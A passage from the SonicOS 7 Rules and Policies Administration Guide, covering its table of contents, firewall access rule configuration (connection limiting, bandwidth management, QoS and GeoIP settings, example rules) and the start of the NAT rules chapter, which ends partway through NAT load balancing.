prevent errors that could result in unnecessary blocking of network traffic. Manual configuration offers more flexibility for situations that require custom actions or ...
This describes the Content Filter policy table and provides instructions for configuring, editing, and deleting a Content Filter policy. SonicOS 7 Rules and Policies Administration...
SonicOS 7 Rules and Policies
Administration Guide
Contents
Access Rules
5
Setting Firewall Access Rules
5
About Stateful Packet Inspection Default Access Rules
6
About Connection Limiting
6
Using Bandwidth Management with Access Rules
7
Configuring Access Rules
8
Enabling and Disabling Access Rules
19
Editing Access Rules
19
Deleting Access Rules
20
Restoring Access Rules to Default Settings
20
Displaying Access Rule Traffic Statistics
21
Access Rule Configuration Examples
21
Enabling Ping
21
Blocking LAN Access for Specific Services
21
Allowing WAN Primary IP Access from the LAN Zone
22
NAT Rules
24
About NAT in SonicOS
24
About NAT Load Balancing
25
Determining the NAT LB Method to Use
26
Caveats
27
How Load Balancing Algorithms are Applied
27
Sticky IP Algorithm Examples
27
About NAT64
28
Use of Pref64::/n
29
About FQDN-based NAT
29
About Source MAC Address Override
31
Viewing NAT Policy Entries
31
Changing the Display
31
Filtering the Display
31
Displaying Information about Policies
31
Adding or Editing NAT or NAT64 Policies
32
Deleting NAT Policies
38
Creating NAT Rule Policies: Examples
38
Creating a One-to-One NAT Policy for Inbound Traffic
39
Creating a One-to-One NAT Policy for Outbound Traffic
41
Inbound Port Address Translation via One-to-One NAT Policy
44
Inbound Port Address Translation via WAN IP Address
46
Creating a Many-to-One NAT Policy
49
Creating a Many-to-Many NAT Policy
51
SonicOS 7 Rules and Policies Administration Guide
2
Contents
Creating a One-to-Many NAT Load Balancing Policy
54
Creating a NAT Load Balancing Policy for Two Web Servers
58
Creating a WAN-to-WAN Access Rule for a NAT64 Policy
64
DNS Doctoring
66
Routing Rules
68
About Routing
68
About Metrics and Administrative Distance
69
Route Advertisement
70
ECMP Routing
71
Policy-based Routing
71
Policy-based TOS Routing
71
PBR Metric-based Priority
72
Policy-based Routing and IPv6
73
OSPF and RIP Advanced Routing Services
73
Drop Tunnel Interface
82
App-based Routing
82
Rules and Policies > Routing Rules
83
Configuring Routing Rules
83
Content Filter Rules
86
About Content Filtering Rules (CFS)
86
About Content Filter Rules
86
About UUIDs for CFS Policies
87
About Content Filter Objects
88
How CFS Works
88
Configuring CFS Policies
88
About the Content Filter Rule Table
89
Adding a Content Filter Rule
91
Editing a Content Filter Rule
92
Deleting Content Filter Rules
92
App Rules
93
About App Rules
94
What are App Rules?
94
Benefits of App Rules
95
How Does Application Control Work?
96
About App Rules Policy Creation
97
Licensing App Rules and App Control
101
Terminology
103
Rules and Policies > App Rules
103
Configuring an App Rules Policy
104
Using the App Rule Wizard
106
Verifying App Rules Configuration
106
Useful Tools
107
App Rules Use Cases
111
Creating a Regular Expression in a Match Object
112
SonicOS 7 Rules and Policies Administration Guide
3
Contents
Policy-based Application Rules
113
Logging Application Signature-based Policies
114
Compliance Enforcement
114
Server Protection
115
Hosted Email Environments
115
Email Control
115
Web Browser Control
116
HTTP Post Control
117
Forbidden File Type Control
120
ActiveX Control
122
FTP Control
123
Bandwidth Management
127
Bypass DPI
127
Custom Signature
128
Reverse Shell Exploit Prevention
131
Endpoint Rules
135
Adding a Policy
135
SonicWall Support
137
About This Document
138
SonicOS 7 Rules and Policies Administration Guide
4
Contents
1
Access Rules
Topics: l Setting Firewall Access Rules l Access Rule Configuration Examples
Setting Firewall Access Rules
This is an overview of the SonicWall network security appliance default access rules and custom access rules. Access rules are network management tools that allow you to define inbound and outbound access policies, configure user authentication, and enable remote management of your firewall. This section provides configuration examples to customize your access rules to meet your business requirements. Access rules are network management tools that allow you to define ingress and egress access policy, configure user authentication, and enable remote management of the SonicWall security appliance. The POLICY | Rules and Policies > Access Rules page provides a sortable access rule management interface. The subsequent sections provide high-level overviews on configuring access rules by zones and configuring bandwidth management using access rules. The rules are categorized into separate tables for each source zone to destination zone and for IPv4/IPv6. Accordingly, all the priority types only apply within the rule table to which the rule belongs.
SonicOS 7 Rules and Policies Administration Guide
5
Access Rules
Topics:
l About Stateful Packet Inspection Default Access Rules l About Connection Limiting l Using Bandwidth Management with Access Rules l Configuring Access Rules l Configuring Access Rules for IPv6 l Configuring Access Rules for NAT64 l Access Rules for DNS Proxy l User Priority for Access Rules l Displaying Access Rules l Specifying Maximum Zone-to-Zone Access Rules l Configuring Access Rules for a Zone
About Stateful Packet Inspection Default Access Rules
By default, the SonicWall network security appliance's stateful packet inspection allows all communication from the LAN to the Internet, and blocks all traffic to the LAN from the Internet. The following behaviors are defined by the default stateful inspection packet access rule enabled on the security appliance:
l Allow all sessions originating from the LAN, WLAN to the WAN, or DMZ (except when the destination WAN IP address is the WAN interface of the firewall itself).
l Allow all sessions originating from the DMZ to the WAN. l Deny all sessions originating from the WAN to the DMZ. l Deny all sessions originating from the WAN and DMZ to the LAN or WLAN.
Additional network access rules can be defined to extend or override the default access rules. For example, access rules can be created that allow access from the LAN zone to the WAN Primary IP address, or block certain types of traffic such as IRC from the LAN to the WAN, or allow certain types of traffic, such as Lotus Notes database synchronization, from specific hosts on the Internet to specific hosts on the LAN, or restrict use of certain protocols such as Telnet to authorized users on the LAN.
Custom access rules evaluate network traffic source IP addresses, destination IP addresses, IP protocol types, and compare the information to access rules created on the appliance. Network access rules take precedence, and can override the appliance's stateful packet inspection. For example, an access rule that blocks IRC traffic takes precedence over the appliance default setting of allowing this type of traffic.
CAUTION: The ability to define network access rules is a very powerful tool. Using custom access rules can disable firewall protection or block all access to the Internet. Use caution when creating or deleting network access rules.
About Connection Limiting
The Connection Limiting feature is intended to offer an additional layer of security and control when coupled with such features as SYN Cookies and Intrusion Prevention Services (IPS). Connection limiting
SonicOS 7 Rules and Policies Administration Guide
6
Access Rules
provides a means of throttling connections through the firewall using Access Rules as a classifier, and declaring the maximum percentage of the total available connection cache that can be allocated to that class of traffic.
Coupled with IPS, this can be used to mitigate the spread of a certain class of malware as exemplified by Sasser, Blaster, and Nimda. These worms propagate by initiating connections to random addresses at atypically high rates. For example, each host infected with Nimda attempted 300 to 400 connections per second, Blaster sent 850 packets per second, and Sasser was capable of 5,120 attempts per second. Typical, non-malicious network traffic generally does not establish anywhere near these numbers, particularly when it is Trusted > Untrusted traffic (that is, LAN > WAN). Malicious activity of this sort can consume all available connection-cache resources in a matter of seconds, particularly on smaller appliances.
In addition to mitigating the propagation of worms and viruses, Connection Limiting can be used to alleviate other types of connection-cache resource consumption issues, such as those posed by uncompromised internal hosts running peer-to-peer software (assuming IPS is configured to allow these services), or internal or external hosts using packet generators or scanning tools.
Finally, Connection Limiting can be used to protect publicly available servers (such as, Web servers) by limiting the number of legitimate inbound connections permitted to the server (that is, to protect the server against the Slashdot-effect). This is different from SYN flood protection that attempts to detect and prevent partially-open or spoofed TCP connection. This is most applicable for Untrusted traffic, but it can be applied to any zone traffic as needed.
Connection Limiting is applied by defining a percentage of the total maximum allowable connections that might be allocated to a particular type of traffic. The previous figures show the default LAN > WAN setting, where all available resources might be allocated to LAN > WAN (any source, any destination, any service) traffic.
More specific rules can be constructed; for example, to limit the percentage of connections that can be consumed by a certain type of traffic (for example, FTP traffic to any destination on the WAN), or to prioritize important traffic (for example, HTTPS traffic to a critical server) by allowing 100% to that class of traffic, and limiting general traffic to a smaller percentage (minimum allowable value is 1%).
NOTE: It is not possible to use IPS signatures as a Connection Limiting classifier; only Access Rules (for example, Addresses and Services) are permissible.
Using Bandwidth Management with Access Rules
Bandwidth Management (BWM) allows you to assign guaranteed and maximum bandwidth to services and prioritize traffic. Using access rules, BWM can be applied on specific network traffic. Packets belonging to a bandwidth management-enabled policy are queued in the corresponding priority queue before being sent.
You must configure Bandwidth Management individually for each interface on the NETWORK | System > Interfaces page.
NOTE: This applies when the Bandwidth Management Type on the POLICY | Firewall > BWM page is set to other than None.
The options for configuring BWM on an interface differ depending on whether Advanced or Global was selected as the BWM type.
SonicOS 7 Rules and Policies Administration Guide
7
Access Rules
Enabling Bandwidth Management on an Access Rule
Bandwidth management can be applied on both ingress and egress traffic using access rules. Access rules displaying the Funnel icon are configured for bandwidth management.
TIP: Do not configure bandwidth management on multiple interfaces on a zone, where the configured guaranteed bandwidth for the zone is greater than the available bandwidth for the bound interface.
For information on configuring Bandwidth Management see the POLICY | Firewall > Bandwidth Management section in the SonicOSSecurity documentation.
Configuring Access Rules
Topics:
l Configuring Access Rules for IPv6 l Configuring Access Rules for NAT64 l Access Rules for DNS Proxy l User Priority for Access Rules l Displaying Access Rules l Specifying Maximum Zone-to-Zone Access Rules l Configuring Access Rules for a Zone
To configure rules, the service or service group that the rule applies to must first be defined. If it is not, you can define the service or service group and then create one or more rules for it.
The following procedure describes how to add, modify, reset to defaults, or delete firewall rules for firewall appliances running SonicOS. For appliances running SonicOS, paginated navigation and sorting by column header is supported on the Access Rules screen. In the Access Rules table, you can click the column header to use for sorting. An arrow is displayed to the right of the selected column header. You can click the arrow to reverse the sorting order of the entries in the table.
By hovering your mouse over entries on the Access Rules screen, you can display information about an object, such as an Address Object or Service.
IPv6 is supported for Access Rules. Search for IPv6 Access Rules in the Access Rules Search section. A list of results displays in a table.
SonicOS 7 Rules and Policies Administration Guide
8
Access Rules
From there you can click the Configure icon for the Access Rule you want to edit. The IPv6 configuration for Access Rules is almost identical to IPv4.
To configure an access rule, complete the following steps:
1. Navigate to POLICY | Rules and Policies > Access Rules. The Access Rules page displays. The POLICY | Rules and Policies > Access Rules page enables you to select multiple views of Access Rules.
2. From the Default View, under the Configure column click the Edit icon () for the source and destination interfaces for which you are configuring a rule. The Edit Access Rule page for that interface pair displays.
3. Or from the Access Rules table, click +Add Rule. The Edit Access Rule dialog box displays.
4. Click the General view, add or edit the Policy Name. 5. Select an Action, whether to Allow, Deny, or Discard access.
NOTE: If a policy has a "No-Edit" policy action, the Action settings are not editable.
6. Select the source and destination zones from the From and To drop-down menus. There are no default zones. Any is supported for both zone fields.
7. Select the Source Port. When configured, the Access Rule filters traffic based on the source port defined in the selected Service Object/Group. The Service Object/Group selected must have the same protocol types as the ones selected in Service.
8. Select a service object from the Service drop-down menu. If the service does not exist, refer to Configuring Service Objects.
9. Select the Source and Destination zones from the Source and Destination drop-down menus. 10. Select the source network Address Object from the Source drop-down menu. 11. Select the destination network Address Object from the Destination drop-down menu. 12. Specify the IP Version, IPv4 or IPv6.
SonicOS 7 Rules and Policies Administration Guide
9
Access Rules
13. Specify if this rule applies to all users or to an individual user or group in the Users Included dropdown menu. You can exclude users as well using the Users Excluded drop-down menu.
14. Specify when the rule is applied by selecting a schedule or Schedule Group from the Schedule dropdown menu. If the rule is always applied, select Always On. If the schedule does not exist, refer to Configuring Schedules.
15. Set your Access Rule's Priority. 16. You can optionally enter a rule-related comment in the Comment field. 17. To enable logging for this rule, select Enable Logging. 18. Fragmented packets are used in certain types of Denial of Service attacks and, by default, are
blocked. You should only enable Allow Fragmented Packets if users are experiencing problems accessing certain applications and the SonicWall logs show many dropped fragmented packets. 19. Check Allow Fragmented Packets to allow fragmented packets. 20. Check Enable Flow Reporting to allow flow reporting. 21. Check Enable Packet Monitor to allow packets to be monitored. 22. (optional) Click Enable Management. If this option is enabled, both management and nonmanagement traffic is allowed. 23. If you want to use the Botnet Filter, click Enable Botnet Filter. 24. To enable SIP transformation on traffic matching this access rule, click Enable SIP Transformation. This option is not selected by default.
By default, SIP clients use their private IP address in the SIP (Session Initiation Protocol) Session Definition Protocol (SDP) messages that are sent to the SIP proxy. If your SIP proxy is located on the public (WAN) side of the firewall and the SIP clients are located on the private (LAN) side of the firewall, the SDP messages are not translated and the SIP proxy cannot reach the SIP clients. Enabling SIP transformation solves this problem by having SonicOS transform SIP messages going from LAN to WAN by changing the private IP address and assigned port. 25. To enable H.323 transformation on traffic matching this access rule, enable Enable H.323 Transformation.
H.323 is supported for both IPv4 and IPv6. However, H.323 does not function as a bridge between IPv4 and IPv6. If an ingress H.323 stream to the firewall is in IPv4 mode, on the egress side it stays in IPv4 mode. The same is true for IPv6 mode. The associated media sessions (like audio and video sessions) as hosted by the H.323 signaling stream has the same address mode as the H.323 signaling session. For example, if the H.323 signaling handshake is in IPv6 mode, all the RTP/RTCP streams generated from this H.323 signaling stream are in IPv6 mode as well. 26. Click Next to proceed with Advanced settings.
SonicOS 7 Rules and Policies Administration Guide
10
Access Rules
Configuring Advanced Settings
1. To have the access rule time out after a period of TCP inactivity, set the amount of time, in minutes, in the TCP Connection Inactivity Timeout (minutes) field. The default value is 15 minutes.
2. To have the access rule time out after a period of UDP inactivity, set the amount of time, in minutes, in the UDP Connection Inactivity Timeout (minutes) field. The default value is 30 minutes.
3. Specify the number of connections allowed as a percent of the maximum number of connections allowed by the appliance in the Number of connections allowed (% of maximum connections) field. Refer to About Connection Limiting, for more information on connection limiting.
4. Select Enable connection limit for each Source IP Address to define a Threshold for dropped packets. When this threshold is exceeded, connections and packets from the corresponding Source IP are dropped. The minimum number is 0, the maximum is 65535, and the default is 128.
5. Select Enable connection limit for each Destination IP Address to define a Threshold for dropped packets. When this threshold is exceeded, connections and packets destined for the corresponding Destination IP are dropped. The minimum number is 0, the maximum is 65535, and the default is 128.
6. To disable Deep Packet Inspection (DPI) scanning on a per-rule basis, select Disable DPI. This option is not selected by default.
7. To disable client-side DPI-SSL scanning of traffic matching this rule, select Disable DPI-SSL Client. Client DPI-SSL scanning inspects HTTPS traffic when clients on the appliance's LAN access content located on the WAN.
8. To disable server-side DPI-SSL scanning of traffic matching this rule, select Disable DPI-SSL Server. Server DPI-SSL scanning inspects HTTPS traffic when remote clients connect over the WAN to access content located on the appliance's LAN.
SonicOS 7 Rules and Policies Administration Guide
11
Access Rules
9. Select Don't redirect unauthenticated users to log in to block HTTP/HTTPS traffic from unauthenticated users, rather than attempting to identify the user via SSO or redirecting to the login page.
10. Click Next to proceed in configuring QoS settings.
Configuring QoS Settings
1. Configure QoS if you want to apply DSCP or 802.1p Quality of Service management to traffic governed by this rule.
2. Under DSCP Marking Settings, select the DSCP Marking Action from the drop-down menu:
l None: DSCP values in packets are reset to 0. l Preserve (default): DSCP values in packets remain unaltered. l Explicit: The Explicit DSCP Value drop-down menu displays. Select a numeric value
between 0 and 63. Some standard values are:
0 - Best effort/Default 20 - Class 2, Silver (AF22) 34 - Class 4, Gold (AF41) (default)
8 - Class 1
22 - Class 2, Bronze (AF23) 36 - Class 4, Silver (AF42)
10 - Class 1, Gold (AF11)
24 - Class 3
38 - Class 4, Bronze (AF43)
12 - Class 1, Silver (AF12)
26 - Class 3, Gold (AF31) 40 - Express Forwarding
14 - Class 1, Bronze (AF13)
27 - Class 3, Silver (AF32) 46 - Expedited Forwarding (EF)
16 - Class 2
30 - Class 3, Bronze (AF33) 48 - Control
18 - Class 2, Gold (AF21)
32 - Class 4
56 - Control
l Map: The page displays, "Note: The QoS Mapping Settings on the POLICY | Firewall > QoS Mapping page will be used."
l The Allow 802.1p Marking to override DSCP values checkbox displays. Select it to allow DSCP values to be overridden by 802.1p marking. This option is disabled by default.
3. Under 802.1p Marking Settings select the 802.1p Marking Action from the drop-down menu:
SonicOS 7 Rules and Policies Administration Guide
12
Access Rules
l None (default): No 802.1p tagging is added to the packets. l Preserve: 802.1p values in packets remain unaltered. l Explicit: The Explicit 802.1p Value drop-down menu displays. Select a numeric value
between 0 and 7:
0 - Best effort (default) 1 - Background 2 - Spare 3 - Excellent effort
4 - Controlled load 5 - Video (<100ms latency) 6 - Voice (<10ms latency) 7 - Network control
l Map: The page displays, "Note: The QoS Mapping Settings on the POLICY | Firewall > QoS Mapping page will be used."
4. Proceed to Configuring BWM Settings with Advanced BWM or Configuring BWM Settings with Global BWM.
Configuring BWM Settings with Advanced BWM
If Global is specified for BWM type on the POLICY | Firewall > Bandwidth Management page, go to Configuring BWM Settings with Global BWM.
To enable BWM for outbound traffic:
1. Select Enable Egress Bandwidth Management (`Allow' rules only). This option is disabled by default.
a. Select a bandwidth object from the Bandwidth Object drop-down menu.
To create a new bandwidth object, select Create new Bandwidth Object. For more information about creating bandwidth objects, see Configuring Bandwidth Objects. 2. To enable BWM for inbound traffic, select Enable Ingress Bandwidth Management (`Allow' rules only). This option is disabled by default.
a. Select a bandwidth object from the Bandwidth Object drop-down menu. To create a new bandwidth object, select Create new Bandwidth Object.
SonicOS 7 Rules and Policies Administration Guide
13
Access Rules
3. To track bandwidth usage, select Enable Tracking Bandwidth Usage. This option is disabled by default. To select this option, you must select either or both of the Enable Bandwidth Management options.
4. Click Next to configure GeoIP settings.
Configuring BWM Settings with Global BWM
NOTE: If Advanced is specified for BWM type on the POLICY | Firewall > Bandwidth Management page, go to Configuring BWM Settings with Advanced BWM.
1. To enable BWM for outbound traffic, select Enable Egress Bandwidth Management (`allow' rules only). This option is disabled by default. a. Select a bandwidth priority from the Bandwidth Priority drop-down menu. The highest, and default, priority is 0 Realtime. The lowest priority is 7 Lowest.
2. To enable BWM for inbound traffic, select Enable Ingress Bandwidth Management (`allow' rules only). This option is disabled by default. a. Select a bandwidth priority from the Bandwidth Priority drop-down menu. The highest, and default, priority is 0 Realtime. The lowest priority is 7 Lowest.
3. Click Next to configure GeoIP settings.
Configuring GeoIP Settings
NOTE: GeoIP Filtering can be specified through Security Services to be applied to all traffic or on a perpolicy basis. For more information, see Configuring Geo-IP Filters in the SonicOS Security Configuration documentation. Need to make this a cross reference.
To configure GeoIP settings:
1. Select the Enable Geo-IP Filter checkbox to apply a filter to traffic matching this rule. 2. Select Global to apply the global GeoIP country list for this rule. 3. Select Custom to specify a custom GeoIP country list for this rule. Selecting Enable Geo-IP Filter
and Custom enables the Available Countries and Selected Countries fields.
SonicOS 7 Rules and Policies Administration Guide
14
Access Rules
a. To select a country, click it in the Available Countries list and drag it to the Selected Countries field.
b. To remove a country from the Selected Countries list, click it and drag it back to Available Countries.
4. Select Block Unknown Countries to block traffic matching no known country.
Reviewing the Access Rule
Before finishing your access rule configuration, SonicOS gives you the opportunity to review each tab's settings, confirm their accuracy, while allowing you to backup to a previous tab (using Previous) to make any necessary changes.
SonicOS 7 Rules and Policies Administration Guide
15
Access Rules
Click Finish when you are done with the configuration and satisfied with your input.
Configuring Access Rules for IPv6
For complete information on the implementation of IPv6, see IPv6. Access Rules can be configured for IPv6 in a similar manner to IPv4 VPNs after selecting the IPv6 option on the POLICY | Rules and Policies > Access Rules page and clicking +Add Rule. The Source must be Any. The IP Version provides you the opportunity to configure your policy for either IPv4 or IPv6.
Configuring Access Rules for NAT64
NOTE: Access Rules for NAT64 are not supported on the SuperMassive 9800. Access Rules can be configured for NAT64 in a manner similar to IPv4 or IPv6.
Access Rules for DNS Proxy
NOTE: Access Rules for DNS Proxy are supported by SuperMassive 9800 firewalls. When DNS Proxy is enabled on an interface, one Allow Access Rule is added automatically with these settings:
l From Interface and To Interface are the same. l Source is Any. l Destination is the interface IP.
SonicOS 7 Rules and Policies Administration Guide
16
Access Rules
l Service is DNS (Name Service) TCP or DNS (Name Service) UDP. l Has the same attributes as other MGMT rules:
l It cannot be disabled. l Only the Source IP can be modified to allow a less aggressive source than Any to be
configured. If DNS Proxy over TCP is enabled, another Allow Rule is auto-added.
User Priority for Access Rules
You now have the ability when configuring a new Access Rule to either: l Have the priority set automatically by SonicOS. l Insert the rule at the end of the Access Rules table.
When you added a new Access Rule, the rule module decided where to place it in the Access Rule table. The rule module uses an Auto Prioritize algorithm that places the most specific rules at the top. The only way to change the priority was to manually edit the rule and then provide the index of where to place it. Finding the rule in a large table to edit it can be difficult. The User Priority for Access Rules provides two choices for the priority types of the new rule:
l Auto Prioritize, which uses the Auto Prioritize algorithm that places the most specific rules on the top of the Access Rules table. This is the default choice.
l Insert at the end, which indicates to the rule module to place the rule at the end of the Access Rules table, and as a result, makes the new rule easy to locate regardless of the size of the table.
Regardless of which option is chosen, the priority of the new Access Rule can be edited and changed as before.
Displaying Access Rules
There are several methods to customize the display of Access Rules. The methods can be used separately or in combination.
Topics:
l By Zones l By Column
By Zones
By default, all to/from zones are displayed. To limit the display to only those Access rules covering specific to/from zones, use the:
l Search function to display all zones for a particular zone type, priority, source/destination, or any other criterion. For example, entering DMZ displays all DMZ to/from zones while entering firewall displays all zones regardless of type that have firewall as source or destination.
l From/To drop-down menus to select the desired zones. l Open Zone Matrix icon to display the Zone Matrix Selector dialog to quickly select the zones.
SonicOS 7 Rules and Policies Administration Guide
17
Access Rules
By Column
By default, all columns are displayed. You can disable the display of specific columns by clicking the dropdown arrow at the top of a column and selecting to hide or display particular columns.
Specifying Maximum Zone-to-Zone Access Rules
NOTE: The appliance must be rebooted for this feature to function correctly.
The Access Rule table size for all Zone-to-Zone pairs is configurable up to the maximum size, which is fixed to a constant value based on the firewall platform; see the Maximum Access Rules per Zone-to-Zone table.
MAXIMUM ACCESS RULES PER ZONE-TO-ZONE
Platform
Maximum Number of Rules
SM 9200/9400/9600/9800 5000
NSA
2500
2600/3600/4600/5600/6600
TZ300/400/500/600 TZ300 1250 W/400 W/500 W/600W
SOHO Wireless
250
To change the maximum size:
1. Select a Zone-to-Zone pair. The dimmed Max Rule Count at the bottom of the table becomes available and the Max Rule Count displays at the top of the table.
2. Click the Edit icon next to Max Rule Count. The Change Max Rule Count dialog displays.
3. Enter the maximum count size in the Max Rule Count field. 4. Click Save. 5. The system restarts. 6. The Max Rule Count displays the new count.
SonicOS 7 Rules and Policies Administration Guide
18
Access Rules
Configuring Access Rules for a Zone
To display the Access Rules for a specific zone select a zone from the Open Zone Matrix or the To/From drop-down menus. The access rules are sorted from the most specific at the top, to less specific at the bottom of the table. At the bottom of the table is the Any rule. The default access rule is all IP services except those listed in the Access Rules page. Access rules can be created to override the behavior of the Any rule; for example, the Any rule allows users on the LAN to access all Internet services, including NNTP News. TIP: If the Delete or Edit icons are dimmed (unavailable), the access rule cannot be changed or deleted from the list.
Enabling and Disabling Access Rules
Access rules can be enabled or disabled on the POLICY | Rules and Policies > Access Rules page. l To enable a custom access rule, toggle the corresponding Enabled switch to the right in the Enabled column. l To disable a custom access rule, toggle the corresponding Enabled switch to the left in the Enabled column.
Editing Access Rules
To edit an access rule: 1. Navigate to POLICY | Rules and Policies > Access Rules. 2. Click the Edit icon in the Configure column of the access rule. The Edit Access Rule dialog displays, which has the same settings as the Add Access Rule dialog.
SonicOS 7 Rules and Policies Administration Guide
19
Access Rules
3. Make your changes. 4. Click Apply and continue with Next.
Deleting Access Rules
NOTE: Default Access Rules cannot be deleted.
To delete one or more custom access rules: 1. Navigate to POLICY | Rules and Policies > Access Rules. 2. To delete an individual custom access rule, click its Delete icon in the Configure column. 3. To delete selected custom access rules, click their checkboxes, and then click Delete Rule from the options at the top of the page. 4. To delete all custom access rules, select the top checkbox in the left column. All custom Access Rules are selected. click Delete Rule from the options at the top of the page.
Restoring Access Rules to Default Settings
To remove all end-user configured custom access rules for a zone: 1. Navigate to POLICY | Rules and Policies > Access Rules. 2. Click the Matrix icon or use the From/To options to select all zones or a specific zone combination. 3. Click the Restore icon at the top of the table. This restores the access rules for the selected zone combination to the default access rules initially set up on the firewall and added by SonicOS. A confirmation message displays. 4. Click OK.
SonicOS 7 Rules and Policies Administration Guide
20
Access Rules
Displaying Access Rule Traffic Statistics
On the POLICY | Rules and Policies > Access Rules page, move your mouse pointer over the Statistics icon in the Configure column to display the receive (Rx) and transmit (Tx) traffic statistics for the access rule:
l Rx Bytes l Rx Packets l Tx Bytes l Tx Packets To clear the statistics counters, and restart the counts, click the Clear icon at the top of the table.
Access Rule Configuration Examples
This provides configuration examples for adding network access rules: l Enabling Ping l Blocking LAN Access for Specific Services l Allowing WAN Primary IP Access from the LAN Zone
Enabling Ping
This provides a configuration example for an access rule to allow devices on the DMZ to send ping requests and receive ping responses from devices on the LAN. By default your appliance does not allow traffic initiated from the DMZ to reach the LAN.
To configure an access rule that allows ping between DMZ and LAN: 1. Place one of your interfaces into the DMZ zone. 2. Navigate to POLICY | Rules and Policies > Access Rules. 3. Click +Add Rule to launch the Add Access Rule dialog. 4. Select Allow. 5. From the Service drop-down menu, select Ping. 6. From the Source drop-down menu, select DMZ Subnets. 7. From the Destination drop-down menu, select LAN Subnets. 8. Click Apply and continue with the wizard by clicking Next.
Blocking LAN Access for Specific Services
This provides a configuration example for an access rule blocking LAN access to NNTP servers on the Internet during business hours.
SonicOS 7 Rules and Policies Administration Guide
21
Access Rules
To configure an access rule blocking LAN access to NNTP servers based on a schedule:
1. Navigate to POLICY | Rules and Policies > Access Rules. 2. Click +Add Rule to launch the Add Access Rule dialog. 3. Select Deny from the Action settings. 4. Select NNTP (News) from the Service drop-down menu. If the service is not listed, you must add it
in the Add Service dialog. 5. Select Any from the Source drop-down menu. 6. Select WAN from the Destination drop-down menu. 7. Select the schedule from the Schedule drop-down menu. 8. Enter any comments in the Comment field. 9. Click Apply.
Allowing WAN Primary IP Access from the LAN Zone
By creating an access rule, it is possible to allow access to a management IP address in one zone from a different zone on the same firewall. For example, you can allow HTTP/HTTPS management or ping to the WAN IP address from the LAN side. To do this, you must create an access rule to allow the relevant service between the zones, giving one or more explicit management IP addresses as the destination. Alternatively, you can provide an address group that includes single or multiple management addresses (such as WAN Primary IP, All WAN IP, All X1 Management IP) as the destination. This type of rule allows the HTTP Management, HTTPS Management, SSH Management, Ping, and SNMP services between zones.
NOTE: Access rules can only be set for inter-zone management. Intra-zone management is controlled per-interface by settings in the interface configuration.
To create a rule that allows access to the WAN Primary IP from the LAN zone:
1. Navigate to POLICY | Rules and Policies > Access Rules. 2. Click the Matrix icon or use the From/To options to display the LAN > WAN access rules. 3. Click +Add Rule to launch the Add Access Rule dialog. 4. Select Allow from the Action settings. 5. Select one of the following services from the Service menu:
l HTTP l HTTPS l SSH Management l Ping l SNMP 6. Select Any from the Source menu. 7. Select an address group or address object containing one or more explicit WAN IP addresses from the Destination menu. NOTE: Do not select an address group or object representing a subnet, such as WAN Primary Subnet. This would allow access to devices on the WAN subnet (already allowed by default), but not to the WAN management IP address. 8. Select the user or group to have access from the Users Included menu.
SonicOS 7 Rules and Policies Administration Guide
22
Access Rules
9. Select the schedule from the Schedule menu. 10. Enter any comments in the Comment field. 11. Click Apply.
SonicOS 7 Rules and Policies Administration Guide
23
Access Rules
2
NAT Rules
This describes the options and functionality included in POLICY | Rules and Policies > NAT Rules.
Topics:
l About NAT in SonicOS l About NAT Load Balancing l About NAT64 l About FQDN-based NAT l About Source MAC Address Override l Viewing NAT Policy Entries l Adding or Editing NAT or NAT64 Policies l Deleting NAT Policies l Creating NAT Policies: Examples
About NAT in SonicOS
IMPORTANT: Before configuring NAT policies, be sure to create all address objects associated with the policy. For instance, if you are creating a one-to-one NAT policy, be sure you have address objects for your public and private IP addresses.
TIP: By default, LAN to WAN has a NAT policy predefined on the firewall.
The Network Address Translation (NAT) engine in SonicOS allows you to define granular NAT policies for your incoming and outgoing traffic. By default, the firewall has a preconfigured NAT policy to allow all systems connected to the X0 interface to perform many-to-one NAT using the IP address of the X1 interface,
SonicOS 7 Rules and Policies Administration Guide
24
NAT Rules
and a policy to not perform NAT when traffic crosses between the other interfaces. NAT policies are automatically created when certain features are enabled, such as the Enable Local Radius Server option in WLAN zone configuration, and are deleted when the feature is disabled. This section explains how to set up the most common NAT policies.
Understanding how to use NAT policies starts with examining the construction of an IP packet. Every packet contains addressing information that allows the packet to get to its destination, and for the destination to respond to the original requester. The packet contains (among other things) the requester's IP address, the protocol information of the requester, and the destination's IP address. The NAT Policies engine in SonicOS can inspect the relevant portions of the packet and can dynamically rewrite the information in specified fields for incoming, as well as outgoing traffic.
You can add up to 512 - 2048 NAT policies depending on the SonicWall network security platform, and they can be as granular as you need. It is also possible to create multiple NAT policies for the same object -- for instance, you can specify that an internal server use one IP address when accessing Telnet servers, and to use a totally different IP address for all other protocols. Because the NAT engine in SonicOS supports inbound port forwarding, it is possible to hide multiple internal servers off the WAN IP address of the firewall. The more granular the NAT policy, the more precedence it takes.
The Maximum Routes and NAT Policies Allowed per Firewall Model table shows the maximum number of routes and NAT policies allowed for each network security appliance model running SonicOS.
MAXIMUM ROUTES AND NAT POLICIES ALLOWED PER FIREWALL MODEL
Model
Routes
Static Dynamic
NSa 9650 4096 8192
NSa 9450 4096 8192
NSa 9250 4096 8192
NSa 6650 3072 4096
NSa 5650 2048 4096
NSa 4650 2048 4096
NSa 3650 1088 2048
NSa 2650 1088 2048
SM 9600 3072 4096 SM 9400 3072 4096 SM 9200 3072 4096
NAT Policies Model
2048 2048 2048 2048 2048 2048 1024 1024
2048 2048 2048
NSA 6600 NSA 5600 NSA 4600 NSA 3600 NSA 2600
TZ600 TZ500/TZ500W TZ400/TZ400W TZ300/TZ300W
SOHO W
Routes Static Dynamic 2048 4096 2048 4096 1088 2048 1088 2048 1088 2048
NAT Policies
2048 2048 1024 1024 1024
256 1024
512
256 1024
512
256 1024
512
256 1024
512
256 1024
512
About NAT Load Balancing
Network Address Translation (NAT) and Load Balancing (LB) provide the ability to balance incoming traffic across multiple, similar network resources. Do not confuse this with the Failover & Load Balancing feature in SonicOS. While both features can be used in conjunction, Failover & Load Balancing is used to
SonicOS 7 Rules and Policies Administration Guide
25
NAT Rules
actively monitor WAN connections and act accordingly on failure/recovery of the WAN interface(s), and NAT LB is primarily used to balance incoming traffic.
Load Balancing distributes traffic among similar network resources so that no single server becomes overwhelmed, allowing for reliability and redundancy. If one server becomes unavailable, traffic is routed to available resources, providing maximum up-time.
This details how to configure the necessary NAT, load balancing, health checks, logging, and firewall rules to allow systems from the public Internet to access a virtual IP that maps to one or more internal systems, such as web servers, FTP servers, or SonicWall SMA appliances. This virtual can be independent of the firewall or it can be shared, assuming the firewall itself is not using the port(s) in question.
